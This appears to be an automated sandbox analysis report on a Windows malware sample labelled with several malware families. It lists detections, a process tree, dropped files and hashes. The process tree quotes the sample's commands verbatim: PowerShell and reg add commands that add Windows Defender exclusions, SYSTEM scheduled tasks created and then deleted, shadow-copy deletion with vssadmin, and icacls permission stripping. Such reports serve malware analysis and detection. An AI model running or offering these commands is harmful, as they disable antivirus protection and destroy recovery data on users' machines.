Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/09/2026, 22:11

General

  • Target
    2026-09-12_87239ff78669855ed1337e85fef40557_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_vidar.exe
  • Size 33.8MB
  • Sample260912-13xt6aah49
  • SHA256 832677ceac1a11b44d808bcbaf6a440b5fa975941791e8f97fc7e5697d4f30e8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Detects executables calling ClearMyTracksByProcess 1 IoCs
  • Detects executables containing artifacts associated with disabling Widnows Defender 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-12_87239ff78669855ed1337e85fef40557_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-12_87239ff78669855ed1337e85fef40557_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2628
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4352
    • C:\Users\Public\Zv3Wwk\RVw2l4.exe
      "C:\Users\Public\Zv3Wwk\RVw2l4.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:372
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:3576
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Zv3Wwk\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5220
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Zv3Wwk\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1568
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:1156
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:2024
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:2696
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5448
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:5104
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:5984
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:5892
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:3956
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:4480
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:3084
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:2432
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2016
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:2656
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:2516
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:6092
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:3736
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:2596
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:4932
                          • C:\Program Files (x86)\a8wXEp\SWBUth.exe
                            "C:\Program Files (x86)\a8wXEp\SWBUth.exe"
                            2⤵
                              PID:5364
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /c vssadmin delete shadows /all /quiet
                                3⤵
                                • Executes a command shell one-liner
                                PID:5640
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /c icacls "C:\Program Files (x86)\a8wXEp" /inheritance:r
                                3⤵
                                • Executes a command shell one-liner
                                PID:1308
                          • C:\Users\Public\Zv3Wwk\RVw2l4.exe
                            "C:\Users\Public\Zv3Wwk\RVw2l4.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:4788
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Zv3Wwk" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5152
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Zv3Wwk" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4268
                          • C:\Windows\system32\cmd.exe
                            cmd.exe
                            1⤵
                              PID:1100
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:3600
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:1884
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:3824
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                2⤵
                                • Windows security bypass
                                PID:4496
                            • C:\Program Files (x86)\a8wXEp\SWBUth.exe
                              "C:\Program Files (x86)\a8wXEp\SWBUth.exe"
                              1⤵
                                PID:1596
                              • C:\Program Files (x86)\a8wXEp\SWBUth.exe
                                "C:\Program Files (x86)\a8wXEp\SWBUth.exe"
                                1⤵
                                  PID:3444

                                Network

                                      MITRE ATT&CK Enterprise v16

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                                      Downloads

                                      SWBUth.exe

                                      • Path C:\Program Files (x86)\a8wXEp\SWBUth.exe
                                      • Size 145KB
                                      • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      XPSPLOG.dll

                                      • Path C:\Program Files (x86)\a8wXEp\XPSPLOG.dll
                                      • Size 4.6MB
                                      • SHA256 d5ced71fda64d1034ff1b7347e3e026462a2216525f2c5eea3074e0350a9d71f
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      XPSPLOG.dll

                                      • Path C:\Program Files (x86)\a8wXEp\XPSPLOG.dll
                                      • Size 1.2MB
                                      • SHA256 44ab2c554e2f0634b4e73f2f86d46c6796b570ab5a7cf86c54d0c2dd24be4330
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      XPSPLOG.dll

                                      • Path C:\Program Files (x86)\a8wXEp\XPSPLOG.dll
                                      • Size 832KB
                                      • SHA256 ff28a850d0537183df3e48184384c44e8748482fcda1296bdda10fd32b9811c6
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      image.png

                                      • Path C:\Program Files (x86)\a8wXEp\image.png
                                      • Size 4.8MB
                                      • SHA256 5eee7739f13fd334b01a19889c483fc154d3ad6a0b359acd1695ef9dacc802d2
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      thumbs.db

                                      • Path C:\Program Files (x86)\a8wXEp\thumbs.db
                                      • Size 358KB
                                      • SHA256 e8868dd7e05e68c2cdf1efb89f7dad007a4e49911878b8d8f5123f8380269f5e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      RVw2l4.exe

                                      • Path C:\Users\Public\Zv3Wwk\RVw2l4.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\Zv3Wwk\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 72c7c3eab84c46e71312e1f1cb5f10e7404deaa7ccd08727955e4f8cddc8f9ba
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\Zv3Wwk\adoresd.dat
                                      • Size 4.7MB
                                      • SHA256 08400ca3123d2658b1f90447cc518f314b413c2f018904dae2952fa6aa949e9e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\Zv3Wwk\msadox.tb
                                      • Size 8KB
                                      • SHA256 54ae031030d9741fccc4326555b7c01d3fcbfb5995008f57e71b3eb52012c159
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/372-540-0x0000013C38D30000-0x0000013C395B7000-memory.dmp

                                      memory/372-539-0x00007FFBF8B60000-0x00007FFBF8B62000-memory.dmp

                                      memory/372-546-0x0000013C38D30000-0x0000013C395B7000-memory.dmp

                                      memory/372-547-0x0000013C38D30000-0x0000013C395B7000-memory.dmp

                                      memory/372-551-0x0000013C38D30000-0x0000013C395B7000-memory.dmp

                                      memory/372-561-0x0000013C39650000-0x0000013C396DA000-memory.dmp

                                      memory/372-560-0x0000013C39650000-0x0000013C396DA000-memory.dmp

                                      memory/372-562-0x0000013C39650000-0x0000013C396DA000-memory.dmp

                                      memory/372-559-0x0000013C39650000-0x0000013C396DA000-memory.dmp

                                      memory/372-557-0x0000013C382E0000-0x0000013C3832E000-memory.dmp

                                      memory/372-564-0x0000013C38D30000-0x0000013C395B7000-memory.dmp

                                      memory/372-568-0x0000013C38D30000-0x0000013C395B7000-memory.dmp

                                      memory/372-531-0x00007FFBF8B50000-0x00007FFBF8B52000-memory.dmp

                                      memory/372-533-0x00007FFBD5FF0000-0x00007FFBD650E000-memory.dmp

                                      memory/372-537-0x0000013C38D30000-0x0000013C395B7000-memory.dmp

                                      memory/372-545-0x0000013C38D30000-0x0000013C395B7000-memory.dmp

                                      memory/372-544-0x0000013C38D30000-0x0000013C395B7000-memory.dmp

                                      memory/2628-525-0x00007FFBEE2A0000-0x00007FFBEE2B2000-memory.dmp

                                      memory/2628-524-0x0000000002050000-0x000000000205E000-memory.dmp

                                      memory/2628-504-0x00007FFBEE2A0000-0x00007FFBEE2B2000-memory.dmp

                                      memory/2628-0-0x0000000002050000-0x000000000205E000-memory.dmp

                                      memory/2628-2-0x0000000002060000-0x000000000206C000-memory.dmp

                                      memory/2628-1-0x0000000002050000-0x000000000205E000-memory.dmp

                                      memory/3576-606-0x000001BD7A810000-0x000001BD7A82E000-memory.dmp

                                      memory/3576-608-0x000001BD7A830000-0x000001BD7A83A000-memory.dmp

                                      memory/3576-607-0x000001BD7AA80000-0x000001BD7AB32000-memory.dmp

                                      memory/3576-601-0x000001BD7A7C0000-0x000001BD7A7E2000-memory.dmp

                                      memory/4788-577-0x0000021761080000-0x0000021761907000-memory.dmp

                                      memory/4788-586-0x0000021761080000-0x0000021761907000-memory.dmp

                                      memory/4788-585-0x0000021761080000-0x0000021761907000-memory.dmp

                                      memory/4788-587-0x0000021761080000-0x0000021761907000-memory.dmp

                                      memory/4788-588-0x00007FFBF8B50000-0x00007FFBF8B52000-memory.dmp

                                      memory/4788-573-0x00007FFBD5FF0000-0x00007FFBD650E000-memory.dmp

                                      memory/4788-580-0x0000021761080000-0x0000021761907000-memory.dmp

                                      memory/4788-579-0x00007FFBF8B60000-0x00007FFBF8B62000-memory.dmp

                                      memory/4788-584-0x0000021761080000-0x0000021761907000-memory.dmp

                                      memory/5364-683-0x0000000002AF0000-0x0000000002AF1000-memory.dmp

                                      memory/5364-684-0x0000000003750000-0x0000000003F2D000-memory.dmp

                                      memory/5364-681-0x0000000003750000-0x0000000003F2D000-memory.dmp

                                      memory/5364-688-0x0000000003750000-0x0000000003F2D000-memory.dmp

                                      memory/5364-695-0x0000000002B80000-0x0000000002B94000-memory.dmp

                                      memory/5364-677-0x0000000074510000-0x0000000074C5A000-memory.dmp

                                      memory/5364-676-0x00000000013B0000-0x00000000013B1000-memory.dmp

                                      memory/5364-709-0x0000000003750000-0x0000000003F2D000-memory.dmp

                                      memory/5364-713-0x0000000010000000-0x0000000010061000-memory.dmp

                                      memory/5364-714-0x0000000003750000-0x0000000003F2D000-memory.dmp